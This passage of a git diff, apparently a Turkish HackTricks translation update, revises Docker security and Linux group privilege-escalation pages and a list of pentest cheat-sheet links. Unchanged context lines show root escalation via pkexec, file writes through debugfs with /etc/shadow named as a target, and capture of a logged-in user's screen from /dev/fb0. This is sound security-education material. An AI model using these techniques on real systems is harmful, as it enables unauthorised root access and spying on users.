imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bü - **Docker Content Trust**, imaj imzalamayı yönetmek için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakın. - Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürüm 1.10 ve sonrasında varsayılan olarak kapalıdır. - Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yüklemesi, kök ve etiketleme anahtarları için şifre belirlemeyi gerektirir; Docker ayrıca artırılmış güvenlik için Yubikey'i destekler. Daha fazla ayrıntı [burada](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) bulunabilir. -- İçerik güveni etkinken imzasız bir imaj çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır. +- İçerik güveni etkinken imzasız bir imaj çekmeye çalışmak, "No trust data for latest" hatasına yol açar. - İlk imaj yüklemesinden sonraki imaj yüklemeleri için, Docker imajı imzalamak üzere depo anahtarının şifresini ister. Özel anahtarlarınızı yedeklemek için şu komutu kullanın: @@ -100,10 +100,10 @@ Konteynerleştirilmiş ortamlarda, projeleri ve bunların süreçlerini izole et - **`unshare` Kullanımı**: Yeni ad alanları oluşturmak için `unshare` komutu (veya temel sistem çağrısı) kullanılır, bu da ek bir izolasyon katmanı sağlar. Ancak, Kubernetes bunu doğrudan engellemese de, Docker engeller. - **Sınırlama**: Yeni ad alanları oluşturmak, bir sürecin ana bilgisayarın varsayılan ad alanlarına geri dönmesine izin vermez. Ana bilgisayar ad alanlarına girmek için genellikle ana bilgisayarın `/proc` dizinine erişim gereklidir ve giriş için `nsenter` kullanılır. -**Kontrol Grupları (CGrupları)** +**Kontrol Grupları (CGroups)** - **Fonksiyon**: Öncelikle süreçler arasında kaynak tahsis etmek için kullanılır. -- **Güvenlik Boyutu**: CGrupları kendileri izolasyon güvenliği sunmaz, yalnızca yanlış yapılandırıldığında yetkisiz erişim için istismar edilebilecek `release_agent` özelliği vardır. +- **Güvenlik Boyutu**: CGruplar kendileri izolasyon güvenliği sunmaz, yalnızca yanlış yapılandırıldığında yetkisiz erişim için istismar edilebilecek `release_agent` özelliği vardır. **Yetenek Düşürme** @@ -129,9 +129,9 @@ Bu, yetenekleri, syscalls'ı, dosyalara ve klasörlere erişimi azaltmanıza ola ### Namespaces -**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **işlem** kümesi bir **kaynak** kümesini **görürken**, **diğer** bir **işlem** kümesi **farklı** bir kaynak kümesini görür. Bu özellik, bir kaynak ve işlem kümesi için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir. +**Namespaces**, **çekirdek kaynaklarını** **bölümlere ayıran** Linux çekirdek özelliğidir; böylece bir **süreç** seti bir **kaynak** setini **görürken**, **diğer** bir **süreç** seti **farklı** bir kaynak setini görür. Bu özellik, bir kaynak ve süreç seti için aynı namespace'e sahip olarak çalışır, ancak bu namespace'ler farklı kaynaklara atıfta bulunur. Kaynaklar birden fazla alanda var olabilir. -Docker, konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Namespaces'lerini kullanır: +Docker, konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Namespaces'ını kullanır: - pid namespace - mount namespace @@ -147,8 +147,8 @@ namespaces/ ### cgroups -Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak konteynerler oluşturmanıza olanak tanır.\ -Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir konteyner oluşturulmuştur. CPU payı, konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç konteynerin 1024 CPU payı varsa, her bir konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır. +Linux çekirdek özelliği **cgroups**, bir dizi süreç arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza olanak tanır.\ +Aşağıda, kullanıcı alanı belleği 500m ile sınırlı, çekirdek belleği 50m ile sınırlı, cpu payı 512, blkioweight 400 olan bir Konteyner oluşturulmuştur. CPU payı, Konteyner’in CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığı vardır. Üç Konteyner 1024 CPU payına sahipse, her Konteyner CPU kaynak rekabeti durumunda %33'e kadar CPU alabilir. blkio-weight, Konteyner’in IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığı vardır. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -194,9 +194,9 @@ apparmor.md - **Etiketleme Sistemi**: SELinux, her işleme ve dosya sistemi nesnesine benzersiz bir etiket atar. - **Politika Uygulaması**: Bir işlem etiketinin sistem içindeki diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. -- **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında, genellikle sınırlı bir SELinux etiketi olan `container_t` atanır. +- **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında, genellikle sınırlı bir SELinux etiketi, yaygın olarak `container_t` atanır. - **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. -- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunmasını sağlar (okuma, yazma, yürütme). +- **Politika Kuralları**: SELinux politikası esasen `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşimde bulunmasını sağlar. Bu mekanizma, bir konteyner içindeki bir işlem tehlikeye girse bile, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunmakla sınırlı kalmasını sağlar ve bu tür tehlikelerin potansiyel zararını önemli ölçüde sınırlar. @@ -219,7 +219,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Bir konteynerden DoS -Bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamazsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir. +Eğer bir konteynerin kullanabileceği kaynakları düzgün bir şekilde sınırlamıyorsanız, tehlikeye giren bir konteyner, çalıştığı ana makineyi DoS yapabilir. - CPU DoS ```bash @@ -270,20 +270,20 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv ``` Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) -## Diğer Güvenlik Dikkatleri +## Diğer Güvenlik Dikkate Alınması Gerekenler ### Gizli Bilgilerin Yönetimi: En İyi Uygulamalar -Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynere erişimi olan herkesin erişimine açar. +Gizli bilgileri doğrudan Docker imajlarına gömmekten veya ortam değişkenleri kullanmaktan kaçınmak çok önemlidir, çünkü bu yöntemler hassas bilgilerinizi `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkesin erişimine açar. -**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynere `exec` erişimi olanlar yine de gizli bilgilere erişebilir. +**Docker hacimleri**, hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, `docker inspect` ve günlükleme ile ilişkili riskleri azaltarak, bellek içinde geçici bir dosya sistemi olarak kullanılabilir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar yine de gizli bilgilere erişebilir. **Docker gizli bilgileri**, hassas bilgileri yönetmek için daha güvenli bir yöntem sunar. İmaj oluşturma aşamasında gizli bilgilere ihtiyaç duyan örnekler için, **BuildKit** yapı zamanı gizli bilgileri destekleyen verimli bir çözüm sunarak, yapı hızını artırır ve ek özellikler sağlar. BuildKit'i kullanmak için üç şekilde etkinleştirilebilir: 1. Bir ortam değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1` -2. Komutları ön ekleyerek: `DOCKER_BUILDKIT=1 docker build .` +2. Komutları önekleyerek: `DOCKER_BUILDKIT=1 docker build .` 3. Docker yapılandırmasında varsayılan olarak etkinleştirerek: `{ "features": { "buildkit": true } }`, ardından Docker'ı yeniden başlatarak. BuildKit, `--secret` seçeneği ile yapı zamanı gizli bilgilerin kullanılmasına olanak tanır ve bu gizli bilgilerin imaj oluşturma önbelleğine veya nihai imaja dahil edilmemesini sağlar, şu komutla: @@ -311,34 +311,38 @@ Kubernetes ortamlarında, gizli bilgiler yerel olarak desteklenir ve [Helm-Secre **gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistem yüzeyinin önemli bir kısmını uygular. Uygulama ile ana makine çekirdeği arasında **izolasyon sınırı** sağlayan `runsc` adlı bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanı içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kumanda altındaki konteynerleri çalıştırmayı basit hale getirir. -{% embed url="https://github.com/google/gvisor" %} +{{#ref}} +https://github.com/google/gvisor +{{#endref}} ### Kata Containers -**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynaklı bir topluluktur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırma** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır. +**Kata Containers**, hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur. Bu sanal makineler, konteynerler gibi hissettiren ve performans gösteren, ancak **donanım sanallaştırması** teknolojisini ikinci bir savunma katmanı olarak kullanarak **daha güçlü iş yükü izolasyonu** sağlayan bir yapıdır. -{% embed url="https://katacontainers.io/" %} +{{#ref}} +https://katacontainers.io/ +{{#endref}} ### Özet İpuçları -- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına olanak tanır, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak. +- **`--privileged` bayrağını kullanmayın veya** [**Docker soketini konteyner içinde monte etmeyin**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle ana makinenin tam kontrolünü ele geçirmenin kolay bir yoludur; örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak. - **Konteyner içinde root olarak çalışmayın.** [**Farklı bir kullanıcı kullanın**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)**.** Konteynerdeki root, kullanıcı ad alanları ile yeniden haritalanmadıkça ana makinedeki ile aynıdır. Sadece, esasen, Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır. - [**Tüm yetenekleri kaldırın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü herhangi bir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırının kapsamını artırır. -- [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **süreçlerin daha fazla yetki kazanmasını önlemek için, örneğin suid ikili dosyaları aracılığıyla.** +- [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **sürecin daha fazla yetki kazanmasını önlemek için, örneğin suid ikili dosyaları aracılığıyla.** - [**Konteynere sunulan kaynakları sınırlayın**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Kaynak sınırları, makineyi hizmet reddi saldırılarından koruyabilir. - **Kısıtlamaları en aza indirmek için** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayın. -- **Resmi docker imajlarını kullanın** [**ve imzaları gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi imajınızı oluşturun.** Arka kapılı [**imajları**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifrelerini güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor. +- **Resmi docker imajlarını kullanın** [**ve imza gerektirin**](https://docs.docker.com/docker-hub/official_images/) **veya bunlara dayanarak kendi imajınızı oluşturun.** [**Arka kapılı**](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) imajları miras almayın veya kullanmayın. Ayrıca, root anahtarlarını ve şifreleri güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetmeyi planlıyor. - **Düzenli olarak** **imajlarınızı yeniden oluşturun** **güvenlik yamalarını ana makineye ve imajlara uygulamak için.** -- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. +- **Gizli bilgilerinizi akıllıca yönetin** böylece saldırganların bunlara erişmesi zor olur. - Eğer **docker daemon'ı açığa çıkarıyorsanız HTTPS kullanın** istemci ve sunucu kimlik doğrulaması ile. - Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD, otomatik olarak sıkıştırılmış dosyaları çıkarır ve URL'lerden dosya kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunda, uzaktan URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmamak için ADD kullanmaktan kaçının. - Her mikro hizmet için **ayrı konteynerler** oluşturun. -- **Konteyner içinde ssh** bulundurmayın, "docker exec" kullanılarak konteynere ssh yapılabilir. +- **Konteyner içinde ssh bulundurmayın**, "docker exec" kullanılarak konteynere ssh yapılabilir. - **Daha küçük** konteyner **imajlarına sahip olun.** ## Docker Breakout / Yetki Yükseltme -Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda** bir kullanıcıya erişiminiz varsa, **kaçmayı ve yetkileri yükseltmeyi** deneyebilirsiniz: +Eğer **bir docker konteynerinin içindeyseniz** veya **docker grubunda bir kullanıcıya erişiminiz varsa**, **kaçmayı ve yetkileri yükseltmeyi** deneyebilirsiniz: {{#ref}} docker-breakout-privilege-escalation/ @@ -346,7 +350,7 @@ docker-breakout-privilege-escalation/ ## Docker Kimlik Doğrulama Eklentisi Atlatma -Eğer docker soketine erişiminiz varsa veya **docker grubunda** bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından kısıtlanıyorsa, **bunu atlatıp atlatamayacağınıza bakın:** +Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya erişiminiz varsa ancak eylemleriniz bir docker kimlik doğrulama eklentisi tarafından kısıtlanıyorsa**, bunu **atlatıp atlatamayacağınıza bakın:** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md @@ -355,7 +359,7 @@ authz-and-authn-docker-access-authorization-plugin.md ## Docker'ı Güçlendirme - [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, üretimde Docker konteynerlerini dağıtma ile ilgili birçok yaygın en iyi uygulamayı kontrol eden bir betiktir. Testler tamamen otomatik olup, [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınarak yapılmaktadır.\ -Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmanız gerekir. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir konteynerden çalıştırmalısınız. **README'de nasıl çalıştırılacağını öğrenin:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Referanslar @@ -373,5 +377,4 @@ Aracı, docker'ı çalıştıran ana makineden veya yeterli yetkiye sahip bir ko - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md index e259260f4..70545ad29 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md @@ -27,11 +27,11 @@ Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmad find / -perm -4000 2>/dev/null ``` Eğer **pkexec** ikilisinin **SUID ikilisi** olduğunu ve **sudo** veya **admin** grubuna ait olduğunuzu bulursanız, muhtemelen `pkexec` kullanarak ikilileri sudo olarak çalıştırabilirsiniz.\ -Bu, genellikle bu grupların **polkit politikası** içinde yer alması nedeniyledir. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için: +Bu, genellikle **polkit politikası** içindeki gruplardır. Bu politika, temelde hangi grupların `pkexec` kullanabileceğini belirler. Bunu kontrol etmek için: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` -Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları varsayılan olarak görünmektedir. +Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **sudo** ve **admin** grupları **varsayılan olarak** görünmektedir. **root olmak için şunu çalıştırabilirsiniz**: ```bash @@ -76,7 +76,7 @@ So, dosyayı okuyun ve bazı **hash'leri kırmaya** çalışın. ## Personel Grubu -**staff**: Kullanıcıların kök ayrıcalıkları olmadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne yazabilir"). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups) +**staff**: Kullanıcıların kök ayrıcalıklarına ihtiyaç duymadan sisteme yerel değişiklikler eklemelerine izin verir (`/usr/local`) (not: `/usr/local/bin` içindeki çalıştırılabilir dosyalar, herhangi bir kullanıcının PATH değişkenindedir ve aynı isimdeki `/bin` ve `/usr/bin` içindeki çalıştırılabilir dosyaların "üstüne" yazabilir). "adm" grubu ile karşılaştırın, bu grup daha çok izleme/güvenlik ile ilgilidir. [\[source\]](https://wiki.debian.org/SystemGroups) Debian dağıtımlarında, `$PATH` değişkeni `/usr/local/`'un en yüksek öncelikle çalıştırılacağını gösterir, ayrıcalıklı bir kullanıcı olup olmadığınıza bakılmaksızın. ```bash @@ -146,7 +146,7 @@ Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örn debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` -Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız. +Ancak, eğer **root'a ait dosyaları yazmaya** çalışırsanız (örneğin `/etc/shadow` veya `/etc/passwd`), "**İzin reddedildi**" hatası alırsınız. ## Video Grubu @@ -158,16 +158,16 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder. -**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. +**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -**Ham görüntüyü** açmak için **GIMP** kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz: +**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi**'ni seçebilirsiniz: ![](<../../../images/image (463).png>) -Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi göstereni seçin): +Ardından, Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin (ve ekranı daha iyi gösterenini seçin): ![](<../../../images/image (317).png>) @@ -201,9 +201,13 @@ Son olarak, eğer daha önceki önerilerden hiçbiri hoşunuza gitmiyorsa veya b Eğer docker soketi üzerinde yazma izinleriniz varsa [**docker soketini kötüye kullanarak yetki yükseltme hakkında bu yazıyı okuyun**](../#writable-docker-socket)**.** -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} ## lxc/lxd Grubu diff --git a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md index 51fa4ccdc..43f26f15c 100644 --- a/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md +++ b/src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md @@ -1,6 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} - # Sudo/Admin Grupları ## **PE - Yöntem 1** @@ -21,7 +20,7 @@ sudo su ``` ## PE - Yöntem 2 -Tüm suid ikili dosyalarını bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin: +Tüm suid ikili dosyaları bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin: ```bash find / -perm -4000 2>/dev/null ``` @@ -58,7 +57,7 @@ pkttyagent --process #Step 2, attach pkttyagent to session1 ```text %wheel ALL=(ALL:ALL) ALL ``` -Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo ile her şeyi çalıştırabileceği** anlamına gelir. +Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir. Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**: ```text @@ -89,7 +88,7 @@ Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız \( # Video Grubu -`w` komutunu kullanarak **sistemde kimin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir: +`w` komutunu kullanarak **sistemde kimlerin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash @@ -97,12 +96,12 @@ moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` **tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder. -**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın **şu anki görüntüsünü** ham veri olarak almanız ve ekranın kullandığı çözünürlüğü öğrenmeniz gerekir. Ekran verileri `/dev/fb0`'da saklanabilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. +**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz. ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` -**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi** seçebilirsiniz: +**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi**'ni seçebilirsiniz: ![](../../images/image%20%28208%29.png) @@ -122,13 +121,16 @@ find / -group root -perm -g=w 2>/dev/null Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar. -{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} +{{#ref}} +https://github.com/KrustyHack/docker-privilege-escalation +{{#endref}} -{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} +{{#ref}} +https://fosterelli.co/privilege-escalation-via-docker.html +{{#endref}} # lxc/lxd Grubu [lxc - Yetki Yükseltme](lxd-privilege-escalation.md) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/misc/references.md b/src/misc/references.md index 9e5dd6281..eb3792a1f 100644 --- a/src/misc/references.md +++ b/src/misc/references.md @@ -1,49 +1,95 @@ {{#include ../banners/hacktricks-training.md}} -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} +{{#ref}} +https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick +{{#endref}} -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} +{{#ref}} +https://hausec.com/pentesting-cheatsheet/#_Toc475368982 +{{#endref}} -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} +{{#ref}} +https://anhtai.me/pentesting-cheatsheet/ +{{#endref}} -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} +{{#ref}} +https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html +{{#endref}} -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} +{{#ref}} +https://ired.team/offensive-security-experiments/offensive-security-cheetsheets +{{#endref}} -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} +{{#ref}} +https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html +{{#endref}} -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} +{{#ref}} +https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md +{{#endref}} -{% embed url="https://anhtai.me/oscp-fun-guide/" %} +{{#ref}} +https://anhtai.me/oscp-fun-guide/ +{{#endref}} -{% embed url="https://www.thehacker.recipes/" %} +{{#ref}} +https://www.thehacker.recipes/ +{{#endref}} -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} +{{#ref}} +https://github.com/swisskyrepo/PayloadsAllTheThings +{{#endref}} -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} +{{#ref}} +https://github.com/RistBS/Awesome-RedTeam-Cheatsheet +{{#endref}} -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} +{{#ref}} +https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet +{{#endref}} -{% embed url="https://hideandsec.sh/" %} +{{#ref}} +https://hideandsec.sh/ +{{#endref}} -{% embed url="https://cheatsheet.haax.fr/" %} +{{#ref}} +https://cheatsheet.haax.fr/ 